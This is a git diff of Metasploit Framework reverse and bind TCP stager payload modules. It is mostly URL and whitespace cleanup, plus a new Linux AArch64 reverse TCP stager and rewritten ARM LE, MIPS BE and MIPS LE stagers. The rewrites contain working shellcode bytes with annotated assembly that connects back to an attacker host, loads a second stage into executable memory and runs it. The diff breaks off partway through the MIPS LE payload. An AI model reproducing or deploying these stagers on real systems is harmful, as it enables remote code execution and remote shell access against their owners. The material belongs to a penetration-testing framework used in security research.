diff --git a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb
index f4ea38c853..f8f8786a72 100644
--- a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb
+++ b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 
@@ -56,5 +55,4 @@ module MetasploitModule
       OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
     ])
   end
-
 end
diff --git a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb
index f2964abe39..626134beca 100644
--- a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb
+++ b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 
@@ -44,5 +43,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb
index 9998cc3f0d..e5779b09e4 100644
--- a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb
+++ b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 
@@ -45,5 +44,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb
index 78562a523c..ce1b0c1a6b 100644
--- a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb
+++ b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 
@@ -45,5 +44,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb
index 023d147fa9..635afb61ca 100644
--- a/modules/payloads/stagers/java/bind_tcp.rb
+++ b/modules/payloads/stagers/java/bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb
index d83b058345..2d1498c7d5 100644
--- a/modules/payloads/stagers/java/reverse_http.rb
+++ b/modules/payloads/stagers/java/reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb
index 70b69b1da4..d276ea2d52 100644
--- a/modules/payloads/stagers/java/reverse_https.rb
+++ b/modules/payloads/stagers/java/reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb
index 7fa4659561..5ad61693af 100644
--- a/modules/payloads/stagers/java/reverse_tcp.rb
+++ b/modules/payloads/stagers/java/reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb b/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb
new file mode 100644
index 0000000000..eb6ad11d09
--- /dev/null
+++ b/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb
@@ -0,0 +1,111 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core/handler/reverse_tcp'
+
+
+###
+#
+# ReverseTcp
+# ----------
+#
+# Linux reverse TCP stager.
+#
+###
+module MetasploitModule
+
+  CachedSize = 212
+
+  include Msf::Payload::Stager
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Reverse TCP Stager',
+      'Description'   => 'Connect back to the attacker',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_AARCH64,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Stager'        =>
+        {
+          'Offsets' =>
+            {
+              'LPORT' => [ 206, 'n'    ],
+              'LHOST' => [ 208, 'ADDR' ],
+            },
+          'Payload' =>
+          [
+            # Generated from external/source/shellcode/linux/aarch64/stager_sock_reverse.s
+            0xd2800040,          #  mov	x0, #0x2                   	// #2
+            0xd2800021,          #  mov	x1, #0x1                   	// #1
+            0xd2800002,          #  mov	x2, #0x0                   	// #0
+            0xd28018c8,          #  mov	x8, #0xc6                  	// #198
+            0xd4000001,          #  svc	#0x0
+            0xaa0003ec,          #  mov	x12, x0
+            0x100005a1,          #  adr	x1, cc <sockaddr>
+            0xd2800202,          #  mov	x2, #0x10                  	// #16
+            0xd2801968,          #  mov	x8, #0xcb                  	// #203
+            0xd4000001,          #  svc	#0x0
+            0x350004c0,          #  cbnz	w0, c0 <failed>
+            0xaa0c03e0,          #  mov	x0, x12
+            0xd10043ff,          #  sub	sp, sp, #0x10
+            0x910003e1,          #  mov	x1, sp
+            0xd2800082,          #  mov	x2, #0x4                   	// #4
+            0xd28007e8,          #  mov	x8, #0x3f                  	// #63
+            0xd4000001,          #  svc	#0x0
+            0xb100041f,          #  cmn	x0, #0x1
+            0x540003c0,          #  b.eq	c0 <failed>
+            0xb94003e2,          #  ldr	w2, [sp]
+            0xd34cfc42,          #  lsr	x2, x2, #12
+            0x91000442,          #  add	x2, x2, #0x1
+            0xd374cc42,          #  lsl	x2, x2, #12
+            0xaa1f03e0,          #  mov	x0, xzr
+            0xaa0203e1,          #  mov	x1, x2
+            0xd28000e2,          #  mov	x2, #0x7                   	// #7
+            0xd2800443,          #  mov	x3, #0x22                  	// #34
+            0xaa1f03e4,          #  mov	x4, xzr
+            0xaa1f03e5,          #  mov	x5, xzr
+            0xd2801bc8,          #  mov	x8, #0xde                  	// #222
+            0xd4000001,          #  svc	#0x0
+            0xb100041f,          #  cmn	x0, #0x1
+            0x54000200,          #  b.eq	c0 <failed>
+            0xb94003e4,          #  ldr	w4, [sp]
+            0xf90003e0,          #  str	x0, [sp]
+            0xaa0003e3,          #  mov	x3, x0
+            0xaa0c03e0,          #  mov	x0, x12
+            0xaa0303e1,          #  mov	x1, x3
+            0xaa0403e2,          #  mov	x2, x4
+            0xd28007e8,          #  mov	x8, #0x3f                  	// #63
+            0xd4000001,          #  svc	#0x0
+            0xb100041f,          #  cmn	x0, #0x1
+            0x540000c0,          #  b.eq	c0 <failed>
+            0x8b000063,          #  add	x3, x3, x0
+            0xeb000084,          #  subs	x4, x4, x0
+            0x54fffee1,          #  b.ne	90 <read_loop>
+            0xf94003e0,          #  ldr	x0, [sp]
+            0xd63f0000,          #  blr	x0
+            0xd2800000,          #  mov	x0, #0x0                   	// #0
+            0xd2800ba8,          #  mov	x8, #0x5d                  	// #93
+            0xd4000001,          #  svc	#0x0
+            0x5c110002,          #  .word	0x5c110002
+            0x0100007f,          #  .word	0x0100007f
+          ].pack("V*")
+        }
+      ))
+  end
+
+  def handle_intermediate_stage(conn, payload)
+    print_status("Transmitting stage length value...(#{payload.length} bytes)")
+
+    address_format = 'V'
+
+    # Transmit our intermediate stager
+    conn.put( [ payload.length ].pack(address_format) )
+
+    return true
+  end
+
+end
diff --git a/modules/payloads/stagers/linux/armle/bind_tcp.rb b/modules/payloads/stagers/linux/armle/bind_tcp.rb
index 6a2ef5a882..23817843ae 100644
--- a/modules/payloads/stagers/linux/armle/bind_tcp.rb
+++ b/modules/payloads/stagers/linux/armle/bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 
@@ -113,5 +112,4 @@ module MetasploitModule
 
     return true
   end
-
 end
diff --git a/modules/payloads/stagers/linux/armle/reverse_tcp.rb b/modules/payloads/stagers/linux/armle/reverse_tcp.rb
index 1574dc0cce..8ab7f5b78e 100644
--- a/modules/payloads/stagers/linux/armle/reverse_tcp.rb
+++ b/modules/payloads/stagers/linux/armle/reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 
@@ -17,7 +16,7 @@ require 'msf/core/handler/reverse_tcp'
 ###
 module MetasploitModule
 
-  CachedSize = 200
+  CachedSize = 260
 
   include Msf::Payload::Stager
 
@@ -25,7 +24,7 @@ module MetasploitModule
     super(merge_info(info,
       'Name'          => 'Reverse TCP Stager',
       'Description'   => 'Connect back to the attacker',
-      'Author'        => 'nemo <nemo[at]felinemenace.org>',
+      'Author'        => ['nemo <nemo[at]felinemenace.org>', 'tkmru'],
       'License'       => MSF_LICENSE,
       'Platform'      => 'linux',
       'Arch'          => ARCH_ARMLE,
@@ -34,56 +33,75 @@ module MetasploitModule
         {
           'Offsets' =>
             {
-              'LPORT' => [ 182, 'n'    ],
-              'LHOST' => [ 184, 'ADDR' ],
+              'LPORT' => [ 242, 'n'    ],
+              'LHOST' => [ 244, 'ADDR' ],
             },
           'Payload' =>
           [
-            0xe59f70b4,          #  ldr     r7, [pc, #180]
-            0xe3a00002,          #  mov     r0, #2
-            0xe3a01001,          #  mov     r1, #1
-            0xe3a02006,          #  mov     r2, #6
-            0xef000000,          #  svc     0x00000000
-            0xe1a0c000,          #  mov     ip, r0
-            0xe2877002,          #  add     r7, r7, #2
-            0xe28f1090,          #  add     r1, pc, #144
-            0xe3a02010,          #  mov     r2, #16
-            0xef000000,          #  svc     0x00000000
-            0xe1a0000c,          #  mov     r0, ip
-            0xe24dd004,          #  sub     sp, sp, #4
-            0xe2877008,          #  add     r7, r7, #8
-            0xe1a0100d,          #  mov     r1, sp
-            0xe3a02004,          #  mov     r2, #4
-            0xe3a03000,          #  mov     r3, #0
-            0xef000000,          #  svc     0x00000000
-            0xe59d1000,          #  ldr     r1, [sp]
-            0xe59f3070,          #  ldr     r3, [pc, #112]
-            0xe0011003,          #  and     r1, r1, r3
-            0xe3a02001,          #  mov     r2, #1
-            0xe1a02602,          #  lsl     r2, r2, #12
-            0xe0811002,          #  add     r1, r1, r2
-            0xe3a070c0,          #  mov     r7, #192
-            0xe3e00000,          #  mvn     r0, #0
-            0xe3a02007,          #  mov     r2, #7
-            0xe59f3054,          #  ldr     r3, [pc, #84]
-            0xe1a04000,          #  mov     r4, r0
-            0xe3a05000,          #  mov     r5, #0
-            0xef000000,          #  svc     0x00000000
-            0xe2877063,          #  add     r7, r7, #99
-            0xe1a01000,          #  mov     r1, r0
-            0xe1a0000c,          #  mov     r0, ip
-            0xe3a03000,          #  mov     r3, #0
-            0xe59d2000,          #  ldr     r2, [sp]
-            0xe2422ffa,          #  sub     r2, r2, #1000
-            0xe58d2000,          #  str     r2, [sp]
-            0xe3520000,          #  cmp     r2, #0
-            0xda000002,          #  ble     80fc <last>
-            0xe3a02ffa,          #  mov     r2, #1000
-            0xef000000,          #  svc     0x00000000
-            0xeafffff7,          #  b       80dc <loop>
-            0xe2822ffa,          #  add     r2, r2, #1000
-            0xef000000,          #  svc     0x00000000
-            0xe1a0f001,          #  mov     pc, r1
+            # Generated from external/source/shellcode/linux/armle/stager_sock_reverse.s
+            0xe59f70f0,          #        ldr     r7, [pc, #240]    ; set 281(0x119) to r7
+            0xe3a00002,          #        mov     r0, #2
+            0xe3a01001,          #        mov     r1, #1
+            0xe3a02006,          #        mov     r2, #6
+            0xef000000,          #        svc     0x00000000        ; invoke socket
+            0xe3500000,          #        cmp     r0, #0
+            0xba000031,          #        blt     817c <failed>
+            0xe1a0c000,          #        mov     ip, r0
+            0xe2877002,          #        add     r7, r7, #2        ; set 283(0x11b) to r7
+            0xe28f10c4,          #        add     r1, pc, #196      ; set first .word addr to r1
+            0xe3a02010,          #        mov     r2, #16
+            0xef000000,          #        svc     0x00000000        ; invoke connect
+            0xe3500000,          #        cmp     r0, #0
+            0xba00002a,          #        blt     817c <failed>
+            0xe1a0000c,          #        mov     r0, ip
+            0xe24dd004,          #        sub     sp, sp, #4
+            0xe2877008,          #        add     r7, r7, #8        ; set 291(0x123) to r7
+            0xe1a0100d,          #        mov     r1, sp
+            0xe3a02004,          #        mov     r2, #4
+            0xe3a03000,          #        mov     r3, #0
+            0xef000000,          #        svc     0x00000000        ; invoke recv
+            0xe3500000,          #        cmp     r0, #0
+            0xba000021,          #        blt     817c <failed>
+            0xe59d1000,          #        ldr     r1, [sp]
+            0xe59f3094,          #        ldr     r3, [pc, #148]    ; set 0xfffff000 to r3
+            0xe0011003,          #        and     r1, r1, r3
+            0xe3a02001,          #        mov     r2, #1
+            0xe1a02602,          #        lsl     r2, r2, #12
+            0xe0811002,          #        add     r1, r1, r2        ; set 0x1000 to r1
+            0xe3a070c0,          #        mov     r7, #192          ; set 192(0xC0) to r7
+            0xe3e00000,          #        mvn     r0, #0            ; set 0xffffffff to r0
+            0xe3a02007,          #        mov     r2, #7
+            0xe59f3078,          #        ldr     r3, [pc, #120]    ; set r3 to 0x1022
+            0xe1a04000,          #        mov     r4, r0
+            0xe3a05000,          #        mov     r5, #0
+            0xef000000,          #        svc     0x00000000        ; invoke mmap2
+            0xe3700001,          #        cmn     r0, #1
+            0x0a000012,          #        beq     <failed>
+            0xe2877063,          #        add     r7, r7, #99       ; set 291(0x123) to r7
+            0xe1a01000,          #        mov     r1, r0
+            0xe1a0000c,          #        mov     r0, ip
+            0xe3a03000,          #        mov     r3, #0
+                                 #  loop:
+            0xe59d2000,          #        ldr     r2, [sp]
+            0xe2422ffa,          #        sub     r2, r2, #1000
+            0xe58d2000,          #        str     r2, [sp]
+            0xe3520000,          #        cmp     r2, #0
+            0xda000004,          #        ble     80fc <last>
+            0xe3a02ffa,          #        mov     r2, #1000
+            0xef000000,          #        svc     0x00000000        ; invoke recv
+            0xe3500000,          #        cmp     r0, #0
+            0xba000005,          #        blt     817c <failed>
+            0xeafffff5,          #        b       80dc <loop>
+                                 #  last:
+            0xe2822ffa,          #        add     r2, r2, #1000
+            0xef000000,          #        svc     0x00000000        ; invoke recv
+            0xe3500000,          #        cmp     r0, #0
+            0xba000000,          #        blt     817c <failed>
+            0xe1a0f001,          #        mov     pc, r1
+                                 #  failed:
+            0xe3a07001,          #        mov r7, #1
+            0xe3a00001,          #        mov r0, #1
+            0xef000000,          #        svc 0x00000000
             0x5c110002,          #  .word   0x5c110002
             0x0100007f,          #  .word   0x0100007f
             0x00000119,          #  .word   0x00000119
@@ -106,5 +124,4 @@ def handle_intermediate_stage(conn, payload)
 
     return true
   end
-
 end
diff --git a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
index af42e22889..54c7d67c18 100644
--- a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
+++ b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
@@ -1,15 +1,14 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 
 module MetasploitModule
 
-  CachedSize = 212
+  CachedSize = 272
 
   include Msf::Payload::Stager
   include Msf::Payload::Linux
@@ -20,7 +19,8 @@ module MetasploitModule
       'Description'   => 'Connect back to the attacker',
       'Author'        =>
         [
-          'juan vazquez'
+          'juan vazquez',
+          'tkmru'
         ],
       'License'       => MSF_LICENSE,
       'Platform'      => 'linux',
@@ -30,28 +30,86 @@ module MetasploitModule
         {
           'Offsets' =>
             {
-              'LHOST' => [ [58, 62], 'ADDR16MSB' ],
-              'LPORT' => [ 50, 'n'    ],
+              'LHOST' => [ [66, 70], 'ADDR16MSB' ],
+              'LPORT' => [ 58, 'n' ],
             },
           'Payload' =>
-            "\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5" +
-            "\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c" +
-            "\xaf\xa2\xff\xfc\x8f\xa4\xff\xfc\x24\x0f\xff\xfd\x01\xe0" +
-            "\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x11\x5c\xaf\xae\xff\xe4" +
-            "\x3c\x0e\x7f\x00\x35\xce\x00\x01\xaf\xae\xff\xe6\x27\xa5" +
-            "\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a" +
-            "\x01\x01\x01\x0c\x24\x04\xff\xff\x24\x05\x10\x01\x20\xa5" +
-            "\xff\xff\x24\x09\xff\xf8\x01\x20\x48\x27\x01\x20\x30\x20" +
-            "\x24\x07\x08\x02\x24\x0b\xff\xea\x01\x60\x58\x27\x03\xab" +
-            "\x58\x20\xad\x60\xff\xff\xad\x62\xff\xfb\x24\x02\x0f\xfa" +
-            "\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x8f\xa4\xff\xfc\x8f\xa5" +
-            "\xff\xf8\x24\x06\x10\x01\x20\xc6\xff\xff\x24\x02\x0f\xa3" +
-            "\x01\x01\x01\x0c\x8f\xa4\xff\xf8\x00\x40\x28\x20\x24\x09" +
-            "\xff\xfd\x01\x20\x48\x27\x01\x20\x30\x20\x24\x02\x10\x33" +
-            "\x01\x01\x01\x0c\x8f\xb1\xff\xf8\x8f\xb2\xff\xfc\x02\x20" +
-            "\xf8\x09"
+            "\x24\x0f\xff\xfa" +  #  li  t7,-6
+            "\x01\xe0\x78\x27" +  #  nor t7,t7,zero
+            "\x21\xe4\xff\xfd" +  #  addi    a0,t7,-3
+            "\x21\xe5\xff\xfd" +  #  addi    a1,t7,-3
+            "\x28\x06\xff\xff" +  #  slti    a2,zero,-1
+            "\x24\x02\x10\x57" +  #  li  v0,4183
+            # socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
+            "\x01\x01\x01\x0c" +  #  syscall 0x40404
+            "\x00\x07\x80\x2a" +  #  slt s0,zero,a3
+            "\x16\x00\x00\x36" +  #  bnez    s0,0x4006bc <failed>
+            "\xaf\xa2\xff\xfc" +  #  sw  v0,-4(sp)
+            "\x8f\xa4\xff\xfc" +  #  lw  a0,-4(sp)
+            "\x24\x0f\xff\xfd" +  #  li  t7,-3
+            "\x01\xe0\x78\x27" +  #  nor t7,t7,zero
+            "\xaf\xaf\xff\xe0" +  #  sw  t7,-32(sp)
+            "\x3c\x0e\x11\x5c" +  #  lui t6,0x115c
+            "\xaf\xae\xff\xe4" +  #  sw  t6,-28(sp)
+            "\x3c\x0e\x7f\x00" +  #  lui t6,0x7f00
+            "\x35\xce\x00\x01" +  #  ori t6,t6,0x1
+            "\xaf\xae\xff\xe6" +  #  sw  t6,-26(sp)
+            "\x27\xa5\xff\xe2" +  #  addiu   a1,sp,-30
+            "\x24\x0c\xff\xef" +  #  li  t4,-17
+            "\x01\x80\x30\x27" +  #  nor a2,t4,zero
+            "\x24\x02\x10\x4a" +  #  li  v0,4170
+            # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
+            "\x01\x01\x01\x0c" +  #  syscall 0x40404
+            "\x00\x07\x80\x2a" +  #  slt s0,zero,a3
+            "\x16\x00\x00\x25" +  #  bnez    s0,0x4006bc <failed>
+            "\x24\x04\xff\xff" +  #  li  a0,-1
+            "\x24\x05\x10\x01" +  #  li  a1,4097
+            "\x20\xa5\xff\xff" +  #  addi    a1,a1,-1
+            "\x24\x09\xff\xf8" +  #  li  t1,-8
+            "\x01\x20\x48\x27" +  #  nor t1,t1,zero
+            "\x01\x20\x30\x20" +  #  add a2,t1,zero
+            "\x24\x07\x08\x02" +  #  li  a3,2050
+            "\x24\x0b\xff\xea" +  #  li  t3,-22
+            "\x01\x60\x58\x27" +  #  nor t3,t3,zero
+            "\x03\xab\x58\x20" +  #  add t3,sp,t3
+            "\xad\x60\xff\xff" +  #  sw  zero,-1(t3)
+            "\xad\x62\xff\xfb" +  #  sw  v0,-5(t3)
+            "\x24\x02\x0f\xfa" +  #  li  v0,4090
+            # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
+            "\x01\x01\x01\x0c" +  #  syscall 0x40404
+            "\x00\x07\x80\x2a" +  #  slt s0,zero,a3
+            "\x16\x00\x00\x15" +  #  bnez    s0,0x4006bc <failed>
+            "\xaf\xa2\xff\xf8" +  #  sw  v0,-8(sp)
+            "\x8f\xa4\xff\xfc" +  #  lw  a0,-4(sp)
+            "\x8f\xa5\xff\xf8" +  #  lw  a1,-8(sp)
+            "\x24\x06\x10\x01" +  #  li  a2,4097
+            "\x20\xc6\xff\xff" +  #  addi    a2,a2,-1
+            "\x24\x02\x0f\xa3" +  #  li  v0,4003
+            # read(sockfd, addr, 4096)
+            "\x01\x01\x01\x0c" +  #  syscall 0x40404
+            "\x00\x07\x80\x2a" +  #  slt s0,zero,a3
+            "\x16\x00\x00\x0c" +  #  bnez    s0,0x4006bc <failed>
+            "\x8f\xa4\xff\xf8" +  #  lw  a0,-8(sp)
+            "\x00\x40\x28\x20" +  #  add a1,v0,zero
+            "\x24\x09\xff\xfd" +  #  li  t1,-3
+            "\x01\x20\x48\x27" +  #  nor t1,t1,zero
+            "\x01\x20\x30\x20" +  #  add a2,t1,zero
+            "\x24\x02\x10\x33" +  #  li  v0,4147
+            # cacheflush(addr, nbytes, DCACHE)
+            "\x01\x01\x01\x0c" +  #  syscall 0x40404
+            "\x00\x07\x80\x2a" +  #  slt s0,zero,a3
+            "\x16\x00\x00\x03" +  #  bnez    s0,0x4006bc <failed>
+            "\x8f\xb1\xff\xf8" +  #  lw  s1,-8(sp)
+            "\x8f\xb2\xff\xfc" +  #  lw  s2,-4(sp)
+            "\x02\x20\xf8\x09" +  #  jalr    s1
+            # 4006bc <failed>:
+            "\x24\x04\x00\x01" +  #  li	a0,1
+            "\x24\x02\x0f\xa1" +  #  li	v0,4001
+            # exit(status)
+            "\x01\x01\x01\x0c" +  #  syscall	0x40404
+            "\x00\x20\x08\x25" +  #  move	at,at
+            "\x00\x20\x08\x25"    #  move	at,at
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
index 4c18dbcbdd..d79fa12855 100644
--- a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
+++ b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
@@ -1,15 +1,14 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 
 module MetasploitModule
 
-  CachedSize = 212
+  CachedSize = 272
 
   include Msf::Payload::Stager
   include Msf::Payload::Linux
@@ -20,7 +19,8 @@ module MetasploitModule
       'Description'   => 'Connect back to the attacker',
       'Author'        =>
         [
-          'juan vazquez'
+          'juan vazquez',
+          'tkmru'
         ],
       'License'       => MSF_LICENSE,
       'Platform'      => 'linux',
@@ -30,28 +30,79 @@ module MetasploitModule
         {
           'Offsets' =>
             {
-              'LHOST' => [ [60, 56], 'ADDR16MSB' ],
-              'LPORT' => [ 48, 'n'    ],
+              'LHOST' => [ [68, 64], 'ADDR16MSB' ],
+              'LPORT' => [ 56, 'n' ],
             },
           'Payload' =>
-            "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd\xff" +
-            "\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01" +
-            "\xfc\xff\xa2\xaf\xfc\xff\xa4\x8f\xfd\xff\x0f\x24\x27\x78" +
-            "\xe0\x01\xe2\xff\xaf\xaf\x11\x5c\x0e\x34\xe4\xff\xae\xaf" +
-            "\x00\x01\x0e\x3c\x7f\x00\xce\x35\xe6\xff\xae\xaf\xe2\xff" +
-            "\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" +
-            "\x0c\x01\x01\x01\xff\xff\x04\x24\x01\x10\x05\x24\xff\xff" +
-            "\xa5\x20\xf8\xff\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01" +
-            "\x02\x08\x07\x24\xea\xff\x0b\x24\x27\x58\x60\x01\x20\x58" +
-            "\xab\x03\xff\xff\x60\xad\xfb\xff\x62\xad\xfa\x0f\x02\x24" +
-            "\x0c\x01\x01\x01\xf8\xff\xa2\xaf\xfc\xff\xa4\x8f\xf8\xff" +
-            "\xa5\x8f\x01\x10\x06\x24\xff\xff\xc6\x20\xa3\x0f\x02\x24" +
-            "\x0c\x01\x01\x01\xf8\xff\xa4\x8f\x20\x28\x40\x00\xfd\xff" +
-            "\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01\x33\x10\x02\x24" +
-            "\x0c\x01\x01\x01\xf8\xff\xb1\x8f\xfc\xff\xb2\x8f\x09\xf8" +
-            "\x20\x02"
+            "\xfa\xff\x0f\x24" +  #  li t7,-6
+            "\x27\x78\xe0\x01" +  #  nor   t7,t7,zero
+            "\xfd\xff\xe4\x21" +  #  addi  a0,t7,-3
+            "\xfd\xff\xe5\x21" +  #  addi  a1,t7,-3
+            "\xff\xff\x06\x28" +  #  slti  a2,zero,-1
+            "\x57\x10\x02\x24" +  #  li v0,4183
+            "\x0c\x01\x01\x01" +  #  syscall  0x40404
+            "\x2a\x80\x07\x00" +  #  slt   s0,zero,a3
+            "\x36\x00\x00\x16" +  #  bnez  s0,0x4006bc <failed>
+            "\xfc\xff\xa2\xaf" +  #  sw v0,-4(sp)
+            "\xfc\xff\xa4\x8f" +  #  lw a0,-4(sp)
+            "\xfd\xff\x0f\x24" +  #  li t7,-3
+            "\x27\x78\xe0\x01" +  #  nor   t7,t7,zero
+            "\xe2\xff\xaf\xaf" +  #  sw t7,-30(sp)
+            "\x11\x5c\x0e\x34" +  #  li t6,0x5c11
+            "\xe4\xff\xae\xaf" +  #  sw t6,-28(sp)
+            "\x00\x01\x0e\x3c" +  #  lui   t6,0x100
+            "\x7f\x00\xce\x35" +  #  ori   t6,t6,0x7f
+            "\xe6\xff\xae\xaf" +  #  sw t6,-26(sp)
+            "\xe2\xff\xa5\x27" +  #  addiu a1,sp,-30
+            "\xef\xff\x0c\x24" +  #  li t4,-17
+            "\x27\x30\x80\x01" +  #  nor   a2,t4,zero
+            "\x4a\x10\x02\x24" +  #  li v0,4170
+            "\x0c\x01\x01\x01" +  #  syscall  0x40404
+            "\x2a\x80\x07\x00" +  #  slt   s0,zero,a3
+            "\x25\x00\x00\x16" +  #  bnez  s0,0x4006bc <failed>
+            "\xff\xff\x04\x24" +  #  li a0,-1
+            "\x01\x10\x05\x24" +  #  li a1,4097
+            "\xff\xff\xa5\x20" +  #  addi  a1,a1,-1
+            "\xf8\xff\x09\x24" +  #  li t1,-8
+            "\x27\x48\x20\x01" +  #  nor   t1,t1,zero
+            "\x20\x30\x20\x01" +  #  add   a2,t1,zero
+            "\x02\x08\x07\x24" +  #  li a3,2050
+            "\xea\xff\x0b\x24" +  #  li t3,-22
+            "\x27\x58\x60\x01" +  #  nor   t3,t3,zero
+            "\x20\x58\xab\x03" +  #  add   t3,sp,t3
+            "\xff\xff\x60\xad" +  #  sw zero,-1(t3)
+            "\xfb\xff\x62\xad" +  #  sw v0,-5(t3)
+            "\xfa\x0f\x02\x24" +  #  li v0,4090
+            "\x0c\x01\x01\x01" +  #  syscall  0x40404
+            "\x2a\x80\x07\x00" +  #  slt   s0,zero,a3
+            "\x15\x00\x00\x16" +  #  bnez  s0,0x4006bc <failed>
+            "\xf8\xff\xa2\xaf" +  #  sw v0,-8(sp)
+            "\xfc\xff\xa4\x8f" +  #  lw a0,-4(sp)
+            "\xf8\xff\xa5\x8f" +  #  lw a1,-8(sp)
+            "\x01\x10\x06\x24" +  #  li a2,4097
+            "\xff\xff\xc6\x20" +  #  addi  a2,a2,-1
+            "\xa3\x0f\x02\x24" +  #  li v0,4003
+            "\x0c\x01\x01\x01" +  #  syscall  0x40404
+            "\x2a\x80\x07\x00" +  #  slt   s0,zero,a3
+            "\x0c\x00\x00\x16" +  #  bnez  s0,0x4006bc <failed>
